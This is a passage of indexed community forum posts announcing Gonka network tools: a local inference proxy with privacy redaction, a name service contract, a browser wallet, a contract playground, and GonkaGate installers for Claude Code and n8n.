The Gonka network has many participant nodes. opengnk automatically fetches the active participant list from a genesis node, filters it to healthy, whitelisted Transfer Agent nodes, and routes your requests there. If a node is unhealthy or rejects the request, the proxy handles it. You never pick nodes manually.
Multi-wallet round-robin
A single wallet may fall under rate limits. OpenGNK supports multiple wallets configured as a comma-separated list, and round-robins requests across them automatically. This multiplies your effective throughput proportionally to the number of wallets:
GONKA_WALLETS=privkey1:gonka1addr1,privkey2:gonka1addr2,privkey3:gonka1addr3\nEach request cycles to the next wallet. The proxy logs which wallet was used so you can verify the distribution.
Built-in web chat UI
There is a full chat interface at http://localhost:8080 - no separate installation needed. It is useful for testing, exploring models, and demonstrating the proxy to others. It also shows the privacy sanitization diff panel (more on that below).
Tool calling is one of the most important features for agentic AI workflows, and Gonka nodes had varying levels of native support for it (prior to recent update). opengnk handles both cases - when native TC is supported and when not.
Native mode (for nodes deployed with --enable-auto-tool-choiceor similar) .env of the opengnk shall be:
NATIVE_TOOL_CALLS=true\nThe proxy forwards your tools and tool_calls fields unchanged, and automatically flattens OpenAI-style array content ([{\"type\":\"text\",\"text\":\"...\"}]) to plain strings that Gonka nodes require. All message types are normalized - including role: \"tool\" messages - so the upstream never receives a mixed content format.
Simulation mode (fallback for nodes without native support) can be turned on with .env config:
SIMULATE_TOOL_CALLS=true\nThis is the more interesting one. When a node does not support native tool calling, the proxy:
tools and tool_choice fields from the request (which the upstream would reject)tool_calls response format - finish_reason: \"tool_calls\", content: null, structured tool_calls arrayYour application sees a perfectly standard OpenAI response and handles the tool-call round-trip as usual. The full cycle - ask → tool call → tool result → final answer - works exactly as it does with OpenAI, in both modes.
"}, {"location": "community/discussion/show-and-tell/0890-opengnk-a-local-openai-compatible-proxy-for-gonka/#privacy-sanitization", "title": "Privacy sanitization", "text": "Community requested in TG Chats
This is the feature we are proud of from a technical standpoint.
The proxy can automatically strip sensitive data from your messages before they leave your machine, and restore the original values in the response. The upstream LLM operates entirely on placeholder tokens - it never sees your real data.
What gets redacted:
sk-, pk-, ghp_, Bearer, etc.)How it works:
«TOKEN_000001», «TOKEN_000002», ...)The web UI shows a side-by-side diff of what you typed versus what was sent, with sensitive values highlighted.
Two classifier layers run in parallel:
The NER sidecar is a Python microservice running two NER models: Natasha for Russian (Cyrillic names, organisations, locations) and spaCy en_core_web_sm for English. It exposes a /classify endpoint and runs in under 100ms on CPU.
The LLM classifier is a local model running inside Ollama - by default qwen3:4b-instruct-2507-q4_K_M (~2.6 GB, 4-bit quantized). It handles things NER cannot reliably detect: API keys, passwords, tokens, and credentials of arbitrary format. Chain-of-thought thinking is suppressed via the /no_think control token so the model returns only the JSON array of sensitive strings. Typical latency is 5–20 seconds on CPU.
Both classifiers run concurrently under a shared 120-second budget. If either is slow or unavailable, it is skipped and the remaining results still apply. The proxy never blocks indefinitely.
Span validation ensures no partial matches: a detected span is only applied if the characters immediately surrounding it are word delimiters. This prevents false positives like matching sd@example.com inside asd@example.com.
Starting sanitization is a single command:
docker compose --profile sanitize up -d\nIf latency matters more than coverage, you can disable the LLM layer and rely only on NER - which still catches names, organisations, and locations with sub-100ms latency.
"}, {"location": "community/discussion/show-and-tell/0890-opengnk-a-local-openai-compatible-proxy-for-gonka/#getting-started-in-3-steps", "title": "Getting started in 3 steps", "text": "# 1. Clone\ngit clone https://github.com/gonkalabs/opengnk.git\ncd opengnk\n\n# 2. Configure\ncp .env.example .env\n# Add your GONKA_PRIVATE_KEY and GONKA_ADDRESS\n\n# 3. Run\nmake run\nThe proxy is up at http://localhost:8080. Zero host dependencies - everything runs in Docker, no local Go installation needed.
The project is written in Go and structured around a few focused internal packages:
internal/signer - ECDSA secp256k1 signing of upstream requestsinternal/upstream - HTTP client, endpoint discovery, Transfer Agent whitelist filteringinternal/wallet - multi-wallet pool with round-robin routinginternal/toolsim - tool-call simulation (prompt injection + JSON parsing)internal/sanitize - redaction and restoration core, classifier interface, NER client, LLM classifierinternal/api - HTTP handlers for all endpointsinternal/config - environment variable loadingThe entire codebase is open source under the MIT license. We believe in open source - the same philosophy that drives everything we build at Gonka Labs. Anyone can inspect it, run it locally, fork it, or contribute.
"}, {"location": "community/discussion/show-and-tell/0890-opengnk-a-local-openai-compatible-proxy-for-gonka/#connection-to-proxygonkagg", "title": "Connection to proxy.gonka.gg", "text": "opengnk is the self-hosted version of proxy.gonka.gg, our cloud API for Gonka inference. If you want a managed endpoint with no setup, proxy.gonka.gg is there. If you want full control - your keys on your machine, your own rate limits, your own privacy guarantees - opengnk is the answer.
Both speak the same OpenAI-compatible protocol. Switching between them is a single base_url change.
opengnk is already being used by developers building on Gonka - plugging it into agents (OpenClaw, etc), Cursor, local scripts, and custom applications. We will keep iterating based on what the community needs.
If there is a feature you want - additional endpoint support, new sanitization classifiers, better multi-model routing, anything - open an issue or tell us in the Telegram chat. We ship fast.
GitHub: github.com/gonkalabs/opengnk Gonka Labs: gonkalabs.com | gonka.gg
"}, {"location": "community/discussion/show-and-tell/0898-gonka-name-service-gns-human-readable-names-for-the-gonka-ne/", "title": "#898 — Gonka Name Service (GNS) - Human Readable names for the Gonka Network", "text": "🔄 Auto-sync: from Discussion #898 every hour.
"}, {"location": "community/discussion/show-and-tell/0898-gonka-name-service-gns-human-readable-names-for-the-gonka-ne/#gonka-name-service-gns-human-readable-names-for-the-gonka-network", "title": "Gonka Name Service (GNS) - Human Readable names for the Gonka Network", "text": "Автор: @gonkalabs · Категория: Show and Tell · Создано: 2026-03-16 18:09 UTC · Обновлено: 2026-03-16 19:43 UTC
"}, {"location": "community/discussion/show-and-tell/0898-gonka-name-service-gns-human-readable-names-for-the-gonka-ne/#_1", "title": "📝 Описание", "text": "Every blockchain eventually needs a naming layer. Ethereum has ENS. Cosmos chains have ICNS. Until now, Gonka didn't have one. So we built it.
Gonka Name Service (GNS) lets anyone register a short, memorable .gnk name - like mike.gnk - that resolves to a gonka1... wallet address. It is live on mainnet, integrated into GG Wallet, gonka.gg explorer (users can find by name, use aliases like gonka.gg/address/mike.gnk instead of longer gonka1..... address) and as of today the smart contract source code is fully open source.
This is a community project by Gonka Labs. We built GNS because we needed it ourselves and because the community was asking for it. Our goal is to make it the standard naming layer for the Gonka ecosystem - the one that wallets, dApps, explorers, and tooling all converge on.
Any user can obtain a name at https://gonka.gg/names
"}, {"location": "community/discussion/show-and-tell/0898-gonka-name-service-gns-human-readable-names-for-the-gonka-ne/#by-the-numbers", "title": "By the Numbers", "text": ".gnk name (3-63 chars, lowercase alphanumeric + hyphens) Resolve Look up any .gnk name to get the wallet address it points to Reverse lookup Given a gonka1... address, find the owner's primary .gnk name Text records Attach metadata to a name (e.g. twitter → @mike, avatar → URL) Transfer Gift a name to another address for free Marketplace (dapp ui in progress) List a name for sale, delist, or buy - peer-to-peer, no protocol fee Primary name Set which of your names is displayed as your identity"}, {"location": "community/discussion/show-and-tell/0898-gonka-name-service-gns-human-readable-names-for-the-gonka-ne/#how-its-integrated", "title": "How It's Integrated", "text": "GG Wallet already supports GNS natively:
.gnk name is displayed on the main wallet screen.gnk name instead of pasting a long address - the wallet resolves it automaticallyAny wallet, dApp, or tool can integrate GNS by querying the contract directly. The message interface is documented in the README.
"}, {"location": "community/discussion/show-and-tell/0898-gonka-name-service-gns-human-readable-names-for-the-gonka-ne/#contract-details", "title": "Contract Details", "text": "Contract address gonka1rd582xazhyxde68g099ed0zpjzq0j0shnhkegg06s8009h7lnxjqvyf0qf Chain gonka-mainnet Runtime CosmWasm (Rust) License MIT Source github.com/gonkalabs/gns"}, {"location": "community/discussion/show-and-tell/0898-gonka-name-service-gns-human-readable-names-for-the-gonka-ne/#why-open-source", "title": "Why Open Source", "text": "We believe the naming layer for a network should be transparent and auditable. Anyone can read the contract logic, verify the on-chain deployment matches the source, run the test suite, or fork it for their own use. The full contract - registration, resolution, reverse lookup, text records, marketplace - is a single CosmWasm crate with 25 passing unit tests.
This follows the same open source approach we take with all Gonka Labs projects: GG Wallet, OpenGNK, tx-scanner, rpc-pooler, and others.
"}, {"location": "community/discussion/show-and-tell/0898-gonka-name-service-gns-human-readable-names-for-the-gonka-ne/#whats-next", "title": "What's Next", "text": "We are actively working on the next iteration of GNS (we will just upgrade the smart contract, address will not change):
.gnk name starting with gonka1 and ending in characters that mimic a real address). This is important to prevent social engineering where a name like gonka1abc...xyz.gnk could trick users into thinking they are sending to a raw address when they are actually resolving a name controlled by someone else.pay.mike.gnk).gnk names work everywhere across the networkWe ship fast and iterate based on what the community needs. If there is a feature you want - open an issue on the repo or tell us in the Telegram chat.
"}, {"location": "community/discussion/show-and-tell/0898-gonka-name-service-gns-human-readable-names-for-the-gonka-ne/#previous-gonka-labs-posts", "title": "Previous Gonka Labs Posts", "text": "gonkalabs.com | gonka.gg | GitHub
"}, {"location": "community/discussion/show-and-tell/0898-gonka-name-service-gns-human-readable-names-for-the-gonka-ne/#1", "title": "💬 Комментарии (1)", "text": ""}, {"location": "community/discussion/show-and-tell/0898-gonka-name-service-gns-human-readable-names-for-the-gonka-ne/#1-andrey055", "title": "Комментарий 1 — @andrey055", "text": "2026-03-16 19:43 UTC
First of all, I want to sincerely thank the Gonka Labs team for what they are doing for the project. Their dashboards, wallet, faucet, and open proxy are the best things I’ve encountered during my five months of participating in the project 🤝.
The launch of Gonka Name Service is a very important step for the entire ecosystem. Human-readable names are a fundamental component of any blockchain network. They make working with addresses much simpler and clearer for users, and they also open up new possibilities for integrations in wallets, dApps, and other tools. It is especially great to see that the contract is fully open source and publicly available. This builds trust and allows the community to study, verify, and further develop this initiative.
I wish the team success in developing GNS and hope that .gnk names will eventually become the standard identity layer within the Gonka network💪.
"}, {"location": "community/discussion/show-and-tell/0906-gonka-tools-web-interface-for-validators-and-mining-operatio/", "title": "#906 — Gonka Tools: Web Interface for Validators and Mining Operations", "text": "🔄 Auto-sync: from Discussion #906 every hour.
"}, {"location": "community/discussion/show-and-tell/0906-gonka-tools-web-interface-for-validators-and-mining-operatio/#gonka-tools-web-interface-for-validators-and-mining-operations", "title": "Gonka Tools: Web Interface for Validators and Mining Operations", "text": "Автор: @aleks1k · Категория: Show and Tell · Создано: 2026-03-17 20:20 UTC · Обновлено: 2026-03-17 20:20 UTC
"}, {"location": "community/discussion/show-and-tell/0906-gonka-tools-web-interface-for-validators-and-mining-operatio/#_1", "title": "📝 Описание", "text": "URL: https://cloudmine.mingles.ai/gonka-tools
Running a validator or managing mining operations on the Gonka network traditionally requires CLI expertise and careful key management. Gonka Tools eliminates this complexity with a browser-based interface that handles validator setup, collateral operations, and governance participation — all through your web3 wallet.
No backend services. No API keys. No command-line required. Just connect your Keplr wallet (software or Ledger hardware) and manage your entire Gonka validator lifecycle from a single interface.
"}, {"location": "community/discussion/show-and-tell/0906-gonka-tools-web-interface-for-validators-and-mining-operatio/#what-is-gonka-tools", "title": "What Is Gonka Tools?", "text": "Gonka Tools is a web interface for performing operations on the Gonka network via a web3 wallet. It runs entirely in your browser and connects directly to Gonka RPC/API endpoints through the Keplr extension.
Key characteristics: - Zero trust architecture — your keys never leave your wallet - Supports both software wallets and Ledger hardware wallets via Keplr - Auto-configures gonka-mainnet chain parameters via experimentalSuggestChain - Real-time balance tracking across liquid, active collateral, and unbonding states - Direct RPC/API communication — no intermediary servers
Primary use cases: - New validator setup (extract pubkey for config.env) - Collateral deposits and withdrawals - Granting ML ops permissions to hot validator keys - Governance voting on network proposals - Validator unjailing and metadata editing - Inspecting any Gonka address state (even without wallet connection)
"}, {"location": "community/discussion/show-and-tell/0938-gg-wallet-an-open-source-browser-wallet-strictly-for-gonka/", "title": "#938 — GG Wallet - An Open-Source Browser Wallet strictly for Gonka", "text": "🔄 Auto-sync: from Discussion #938 every hour.
"}, {"location": "community/discussion/show-and-tell/0938-gg-wallet-an-open-source-browser-wallet-strictly-for-gonka/#gg-wallet-an-open-source-browser-wallet-strictly-for-gonka", "title": "GG Wallet - An Open-Source Browser Wallet strictly for Gonka", "text": "Автор: @gonkalabs · Категория: Show and Tell · Создано: 2026-03-23 20:32 UTC · Обновлено: 2026-03-23 20:39 UTC
"}, {"location": "community/discussion/show-and-tell/0938-gg-wallet-an-open-source-browser-wallet-strictly-for-gonka/#_1", "title": "📝 Описание", "text": "When we launched gonka.gg and started using the Gonka network daily, one thing kept slowing us down: there was no native browser wallet for Gonka. Every transaction meant using the CLI, copying long addresses, and manually constructing commands or using browser wallets that needed flaky configuration or using wallets where we needed to send private key to with some ui without access to the code processing the request. We believe that Gonka can potentially reach millions of users - thus onboarding experience needed to be simpler.
So we built GG Wallet - an open-source Chrome extension wallet built exclusively for the Gonka blockchain. It is live on the Chrome Web Store, and as with almost everything we build at Gonka Labs, the full source code is open on GitHub.
We built GG Wallet because we needed it ourselves - and because the community was experiencing issues with setting up non-chain-native wallets. It will be great if one day GG Wallet will become the wide spread wallet for everyday Gonka users: simple enough for newcomers, powerful enough for power users.
"}, {"location": "community/discussion/show-and-tell/0938-gg-wallet-an-open-source-browser-wallet-strictly-for-gonka/#what-gg-wallet-does", "title": "What GG Wallet Does", "text": "Feature Description Send & Receive Send GNK and IBC tokens to anygonka1... address or .gnk name. Receive via QR code GNS Integration Your primary .gnk name is displayed on the main screen. Type a .gnk name in the Send page instead of pasting a long address - the wallet resolves it automatically Full-precision amounts All balances and transaction amounts displayed without rounding - down to the last ngonka IBC tokens View and send IBC tokens alongside native GNK. Denominations are resolved automatically Governance Browse active and past proposals, view tally results with quorum parameters, vote (Yes / No / Abstain / Veto), submit new proposals, and deposit to proposals Transaction history Powered by the gonka.gg Explorer API with smart caching - cached data loads instantly, fresh data syncs in the background Address book Save frequent recipients and quick-fill the Send form Multi-wallet Create or import multiple wallets, switch between them with one click. Watch-only (view-only) wallets are also supported CLI import Import your existing inferenced CLI wallet by entering the mnemonic phrase it gave you during setup Private key export Export your private key in a format compatible with opengnk proxy Auto-lock Configurable timeout (1 / 5 / 15 / 30 min or never) - the wallet locks itself when you step away dApp provider Keplr-compatible provider at window.gonkaWallet - any dApp can connect, request signatures, and broadcast transactions through the wallet (we already have hex.exchange integration)"}, {"location": "community/discussion/show-and-tell/0938-gg-wallet-an-open-source-browser-wallet-strictly-for-gonka/#gns-send-by-name-not-by-address", "title": "GNS - Send by Name, Not by Address", "text": "One of the features we are most proud of is the deep Gonka Name Service integration. GNS is built into the wallet at every level:
.gnk .gnk name appears on the dashboard next to your address.gnk name and the wallet resolves it to a gonka1... address in real time as you type.gnk names: transfer them to another address, change the resolved address, set your primary name, attach text records, list for sale, or delistThis means you can send tokens to mike.gnk instead of gonka1a8cyf.... The wallet handles the rest.
Wallet is already \"dApping\" with hex.exchange and gonkalabs.com/playground
GG Wallet exposes a Keplr-compatible provider at window.gonkaWallet, which means any dApp that supports Keplr can work with GG Wallet with minimal changes. The provider supports:
enable() - request wallet accessgetKey() - get the user's address and public keysignAmino() / signDirect() - sign transactionssendTx() - broadcast signed transactionssignArbitrary() - sign arbitrary data (ADR-036)experimentalSuggestChain() - register new chain configurationsgetOfflineSigner() / getOfflineSignerAuto() - CosmJS-compatible offline signersThe wallet also fires both gonkaWallet#initialized and keplr#initialized events, so existing Keplr-aware dApps can detect it automatically. Every sensitive operation goes through an approval popup - the user always sees exactly what they are signing before confirming.
The wallet includes a TypeScript port of the opengnk signing algorithm - the same RFC 6979 ECDSA scheme used by the opengnk proxy to sign inference requests for the Gonka AI network. This means the wallet already has the cryptographic foundation to sign inference requests directly from the browser. The ML Ops permission grant UI is coming in a future update.
"}, {"location": "community/discussion/show-and-tell/0938-gg-wallet-an-open-source-browser-wallet-strictly-for-gonka/#security", "title": "Security", "text": "We take security seriously. The wallet stores your mnemonic encrypted with AES-GCM using a key derived from your password via PBKDF2 with 600,000 iterations. Your mnemonic is only decrypted in memory when the wallet is unlocked, and the wallet auto-locks after a configurable timeout.
The extension requests only two Chrome permissions: storage and alarms. No broad host permissions. No background network access beyond what you explicitly trigger. The content script runs on HTTPS pages only to provide the dApp provider - it does not read or modify page content.
If you discover a security vulnerability, please follow the process in SECURITY.md. Do not open a public issue for security bugs.
"}, {"location": "community/discussion/show-and-tell/0938-gg-wallet-an-open-source-browser-wallet-strictly-for-gonka/#under-the-hood", "title": "Under the Hood", "text": "Layer Stack UI React 18, TypeScript, Tailwind CSS, Zustand Build Vite 5, CRXJS (Chrome Extension Manifest V3) Chain CosmJS (Stargate), CosmWasmMsgExecuteContract for GNS Crypto Web Crypto API (AES-GCM, PBKDF2), @noble/hashes, @noble/secp256k1 HD Path m/44'/1200'/0'/0/0 (BIP44 coin type 1200) The wallet is structured as a standard MV3 Chrome extension:
background/) handles all chain interactions, keystore management, and message routingpopup/) is the React UI with pages for Dashboard, Send, Receive, Transactions, Governance, GNS Names, and Settingsprovider/) injects the window.gonkaWallet provider into web pages and bridges communication between dApps and the service workerlib/) contain chain configuration, CosmJS helpers, GNS resolution, encryption, formatting, and the inference signerWe shipped v0.1.0 with the basics: create wallet, import mnemonic, send and receive GNK. Then we listened.
v0.1.1 - auto-lock, IBC token support, address book, watch-only wallets v0.1.2 - dApp provider (Keplr-compatible), stability improvements v0.1.3 - governance (vote, proposals, tally, quorum), full-precision amounts, smarter transaction history v0.1.5 - Cosmos Hub chain support in the provider (for dApps that require cosmoshub-4) v0.1.6 - GNS integration: send by .gnk name, primary name display, full names management page, transaction caching
Every release was driven by what the community asked for. Someone needed IBC tokens - we added it. Someone needed governance - we added it. The GNS integration came because we built GNS and wanted it to work seamlessly in the wallet from day one.
"}, {"location": "community/discussion/show-and-tell/0938-gg-wallet-an-open-source-browser-wallet-strictly-for-gonka/#open-source", "title": "Open Source", "text": "The full source code is available at github.com/gonkalabs/ggwallet under the MIT license (with attribution). Anyone can read the code, verify what the extension does, build from source, or fork it. We believe a wallet - the tool that holds your keys - should be fully transparent.
If you are building a dApp on Gonka and want to integrate with GG Wallet, the provider API is documented in the source and follows the Keplr standard. If you need help - tell us in the Telegram chat.
"}, {"location": "community/discussion/show-and-tell/0938-gg-wallet-an-open-source-browser-wallet-strictly-for-gonka/#whats-next", "title": "What's Next", "text": "We ship fast and iterate based on what the community needs. If there is a feature you want - open an issue on the repo or tell us in the Telegram chat.
"}, {"location": "community/discussion/show-and-tell/0938-gg-wallet-an-open-source-browser-wallet-strictly-for-gonka/#install", "title": "Install", "text": "Chrome Web Store | GitHub | Build from source
"}, {"location": "community/discussion/show-and-tell/0938-gg-wallet-an-open-source-browser-wallet-strictly-for-gonka/#previous-gonka-labs-posts", "title": "Previous Gonka Labs Posts", "text": "Gonka Labs: How We're Building the Infrastructure for Gonka Gonka.gg - Explorer, Analytics Platform, Data Provider for Gonka OpenGNK - A Local OpenAI-Compatible Proxy for Gonka Gonka Name Service (GNS) - Human Readable names for the Gonka Network
gonkalabs.com | gonka.gg | GitHub
"}, {"location": "community/discussion/show-and-tell/0989-gonka-contract-playground-write-compile-simulate-and-deploy-/", "title": "#989 — Gonka Contract Playground - write, compile, simulate, and deploy CosmWasm without leaving the browser", "text": "🔄 Auto-sync: from Discussion #989 every hour.
"}, {"location": "community/discussion/show-and-tell/0989-gonka-contract-playground-write-compile-simulate-and-deploy-/#gonka-contract-playground-write-compile-simulate-and-deploy-cosmwasm-without-leaving-the-browser", "title": "Gonka Contract Playground - write, compile, simulate, and deploy CosmWasm without leaving the browser", "text": "Автор: @gonkalabs · Категория: Show and Tell · Создано: 2026-03-31 22:32 UTC · Обновлено: 2026-03-31 22:32 UTC
"}, {"location": "community/discussion/show-and-tell/0989-gonka-contract-playground-write-compile-simulate-and-deploy-/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/show-and-tell/0989-gonka-contract-playground-write-compile-simulate-and-deploy-/#motivation", "title": "Motivation", "text": "Building smart contracts is, usually, a pain - it keeps coming up: you want to try a small contract idea, poke at something already deployed, or show a teammate how a message works - and you end up juggling a local Rust toolchain, wasmd, scripts, and RPC URLs before you even get to \"does this execute do what I think?\"
We already ship gonka.gg for reading the chain and GG Wallet for signing. The missing piece was a developer surface where anyone in the community could go from idea to wasm to \"what happens if I call this?\" in one place, without treating every experiment like a full infra project.
So we built the Contract Playground at gonkalabs.com/playground.
It might be a full replacement for your production pipeline or It can be a fast feedback loop for learning, prototyping, and debugging - especially for people who are new to CosmWasm on Gonka or who do not want to maintain a local build farm just to try something.
"}, {"location": "community/discussion/show-and-tell/0989-gonka-contract-playground-write-compile-simulate-and-deploy-/#why-this-matters-for-the-community", "title": "Why this matters for the community", "text": "wasm32.We use this internally. We hope it becomes a default link when someone asks \"how do I try this or that idea for implementing contract on Gonka?\"
Btw, we used it to develop our smart contract for gns.
"}, {"location": "community/discussion/show-and-tell/0989-gonka-contract-playground-write-compile-simulate-and-deploy-/#what-it-does-high-level", "title": "What it does (high level)", "text": "Area What you get Editor Rust source with syntax highlighting, templates, and multiple files stored in the browser so you can keep small projects without losing work on refresh. Compile One click sends your source to our remote compiler (Rust in Docker), returns wasm, checksum, size, and build logs so failed builds are readable, not a black box. Simulate Loads the wasm in the browser and runs instantiate / execute / query against mocked host functions (storage, accounts, etc.) so you can validate behavior before spending tokens. Mock accounts Create accounts with balances you choose, pick a sender, copy full addresses - useful when you are testing permissions or multi-party flows. Hints We parse your Rust and surface method-style suggestions for messages so you are not staring at an empty JSON box guessing field names. On-chain Browse deployed code and contracts from the chain; connect wallet to deploy and interact when you are ready for real execution. Wallet Uses the same GG Wallet / Keplr-style provider story as the rest of the ecosystem."}, {"location": "community/discussion/show-and-tell/0989-gonka-contract-playground-write-compile-simulate-and-deploy-/#compile-path-why-remote-not-magic-in-the-tab", "title": "Compile path: why remote, not \"magic in the tab\"", "text": "Rust to wasm builds are heavy. Browsers are the wrong place to run a full Cargo graph for every user. So we run a small compilation service next to the site: your code goes in, optimized wasm comes back, and you still get transparent logs when something fails.
That tradeoff is intentional: the community gets reproducible builds on our pinned toolchain without everyone installing the same Rust, wasm-opt, and CosmWasm versions locally.
BTW: we are NOT storing the code. It just gets recieved by the worker, compiled and returned as .wasm artefacts (deleted immidiately after browser fetches it fully)
Compiler is opensourced at https://github.com/gonkalabs/wasm-cloud-compiler
"}, {"location": "community/discussion/show-and-tell/0989-gonka-contract-playground-write-compile-simulate-and-deploy-/#simulation-quick-feedback-without-mainnet", "title": "Simulation: quick feedback without mainnet", "text": "Simulation is where we think the playground helps the most people. You can:
execute and query and inspect responses.Under the hood this is WebAssembly with CosmWasm-style host imports (memory regions, db_read / db_write, and friends). It will not model every edge case of a full node - and that is OK. The goal is fast, safe iteration and teaching, not a second consensus client.
SImulator code is available via browser devtools and opensourced at https://github.com/gonkalabs/wasm-cloud-compiler/blob/main/simulator.js
"}, {"location": "community/discussion/show-and-tell/0989-gonka-contract-playground-write-compile-simulate-and-deploy-/#explorer-and-deploy-same-network-same-mental-model", "title": "Explorer and deploy: same network, same mental model", "text": "The playground is wired to Gonka mainnet data via our proxied REST/RPC (same origin as gonkalabs.com, so the browser stays happy). You can see what is live, then plug in GG Wallet when you want to go on-chain.
If you are building a dApp, this is also a low-friction way to verify how a deployed contract behaves with real signing, without writing a one-off script.
"}, {"location": "community/discussion/show-and-tell/0989-gonka-contract-playground-write-compile-simulate-and-deploy-/#open-source-and-trust", "title": "Open source and trust", "text": "The playground lives in our site repo; the pieces that matter for trust and reuse (compiler service, simulator, wallet wiring) are there for inspection. Same philosophy as GG Wallet, GNS, OpenGNK, tx-scanner, and rpc-pooler: show the work, let people fork, file issues, and suggest improvements.
"}, {"location": "community/discussion/show-and-tell/0989-gonka-contract-playground-write-compile-simulate-and-deploy-/#what-we-learned-while-building-it", "title": "What we learned while building it", "text": "We will keep tightening the loop based on what builders ask for: better hints, richer simulation (where it still stays honest), clearer docs for GG Wallet + CosmWasm flows, and anything that helps more people ship contracts on Gonka without drowning in setup.
If something is confusing or broken, open an issue on our repos at github.com/gonkalabs or ping us in Telegram. We ship fast when the request is concrete.
Try it: gonkalabs.com/playground About us: gonkalabs.com | Explorer: gonka.gg | GitHub: github.com/gonkalabs
"}, {"location": "community/discussion/show-and-tell/0989-gonka-contract-playground-write-compile-simulate-and-deploy-/#previous-gonka-labs-posts", "title": "Previous Gonka Labs posts", "text": "🔄 Auto-sync: from Discussion #999 every hour.
"}, {"location": "community/discussion/show-and-tell/0999-gonka-ai-x-claude-code/#gonka-ai-x-claude-code", "title": "Gonka AI x Claude Code", "text": "Автор: @Dankosik · Категория: Show and Tell · Создано: 2026-04-02 11:29 UTC · Обновлено: 2026-04-02 11:30 UTC
"}, {"location": "community/discussion/show-and-tell/0999-gonka-ai-x-claude-code/#_1", "title": "📝 Описание", "text": "Hi everyone,
"}, {"location": "community/discussion/show-and-tell/0999-gonka-ai-x-claude-code/#what-we-built", "title": "What we built", "text": "We made @gonkagate/claude-code, a small open source installer for people who want to use Claude Code with Gonka through GonkaGate.
It solves a boring problem on purpose. Most people do not want to export env vars by hand, edit shell profiles, or create a .env file just to get Claude Code talking to a gateway.
So we kept the flow short. You run one command, enter a gp-... API key in a hidden prompt, choose a model, choose a scope, and then Claude Code is ready to use.
The gateway setup itself is not especially hard. The annoying part is first-time setup in Claude Code.
That is the part people still end up wiring by hand more often than they should. If someone already has a gp-... API key, getting to a normal claude workflow should not involve touching shell config.
npx @gonkagate/claude-code\ngp-... API keyuser or local scope.env filesUnder the hood, the installer points Claude Code at the GonkaGate gateway host:
https://api.gonkagate.com
For Claude Code, that means the Anthropic-compatible endpoint on that host.
The same GonkaGate host also serves OpenAI-compatible /v1/* routes for OpenAI-style clients, but this installer is specifically for Claude Code. It sets up the Claude-side Anthropic flow and leaves the OpenAI path alone.
We are keeping the public Claude Code model list small for now, but one detail is worth making explicit.
GonkaGate does not decide which models exist on Gonka Network. As an OpenAI-compatible provider and an Anthropic-compatible provider, we serve what is actually available in the network.
So the model list in this installer is not a custom catalog we fully control. It is a curated list of network-available models that we have patched into this Claude Code flow.
Right now there is one supported option: qwen3-235b.
As new models show up in Gonka Network, we will patch the utility and add them here.
"}, {"location": "community/discussion/show-and-tell/0999-gonka-ai-x-claude-code/#demo", "title": "Demo", "text": ""}, {"location": "community/discussion/show-and-tell/0999-gonka-ai-x-claude-code/#more-links", "title": "More links", "text": "If you are using Gonka with local coding tools, the feedback we would care about most is:
If anything in the setup still feels awkward in practice, that is what we want to hear about. We will keep adjusting it based on what people actually run into.
"}, {"location": "community/discussion/show-and-tell/1027-gonka-ai-x-n8n/", "title": "#1027 — Gonka AI x n8n", "text": "🔄 Auto-sync: from Discussion #1027 every hour.
"}, {"location": "community/discussion/show-and-tell/1027-gonka-ai-x-n8n/#gonka-ai-x-n8n", "title": "Gonka AI x n8n", "text": "Автор: @Dankosik · Категория: Show and Tell · Создано: 2026-04-07 12:53 UTC · Обновлено: 2026-04-07 12:53 UTC
"}, {"location": "community/discussion/show-and-tell/1027-gonka-ai-x-n8n/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/show-and-tell/1027-gonka-ai-x-n8n/#gonkagate-x-n8n", "title": "GonkaGate x n8n", "text": "Hi everyone,
We've been working on an n8n package for GonkaGate, and it's finally public.
@gonkagate/n8n-nodes-gonkagate is an open source n8n community node package for people who want to use GonkaGate in self-hosted n8n without piecing together generic OpenAI-compatible nodes by hand.
@gonkagate/n8n-nodes-gonkagate Root node GonkaGate AI model node GonkaGate Chat Model Credential GonkaGate API Best fit today Self-hosted n8n Repo github.com/GonkaGate/n8n-nodes-gonkagate npm npmjs.com/package/@gonkagate/n8n-nodes-gonkagate"}, {"location": "community/discussion/show-and-tell/1027-gonka-ai-x-n8n/#why-this-exists", "title": "Why this exists", "text": "The fallback OpenAI-compatible route works. We've used it too. It just makes people do more translation work than they should before the first request.
If you want to use GonkaGate in n8n, you probably should not have to start with base URLs, custom credential wiring, and a guess about which stock node is the least painful in your current n8n version. We wanted a GonkaGate-first path that feels shorter and clearer.
We also did not want to pretend the package does more than it does. It should be clear about what GonkaGate supports today, while still leaving room to grow later without renaming everything around one endpoint.
"}, {"location": "community/discussion/show-and-tell/1027-gonka-ai-x-n8n/#what-you-get", "title": "What you get", "text": "GonkaGateGonkaGate Chat ModelGonkaGate API[!NOTE] The package currently targets the public GonkaGate base URL https://api.gonkagate.com/v1.
Right now that means these endpoints:
GET /v1/modelsPOST /v1/chat/completionsIn practice, the package can do the following today:
GonkaGate and GonkaGate Chat Model from one packageGonkaGate API credential across bothList ModelsChat CompletionGonkaGate Chat Model in n8n AI workflowsGET /v1/modelsModel ID entry if the live list is empty or unavailableThat last part was a deliberate choice. Live model discovery is nice when it works, but manual Model ID still matters.
If you already run self-hosted n8n, the shortest install path is still the Community Nodes UI:
@gonkagate/n8n-nodes-gonkagate\nThen:
GonkaGate API.GonkaGate node.List Models.Chat Completion for the first real request.[!IMPORTANT] A few things we are deliberately not claiming yet:
n8n versionsn8n Cloud availability/v1/responses supportFor the exact support posture, see the compatibility matrix and known limitations.
"}, {"location": "community/discussion/show-and-tell/1027-gonka-ai-x-n8n/#demo", "title": "Demo", "text": ""}, {"location": "community/discussion/show-and-tell/1027-gonka-ai-x-n8n/#useful-links", "title": "Useful links", "text": "🔄 Auto-sync: from Discussion #1030 every hour.
"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchemy-for-gonka-with-opensource-core", "title": "rpc.gonka.gg - Managed RPC Infrastructure for Gonka (Infura/Alchemy for Gonka) with opensource core", "text": "Автор: @gonkalabs · Категория: Show and Tell · Создано: 2026-04-08 10:22 UTC · Обновлено: 2026-04-08 10:24 UTC
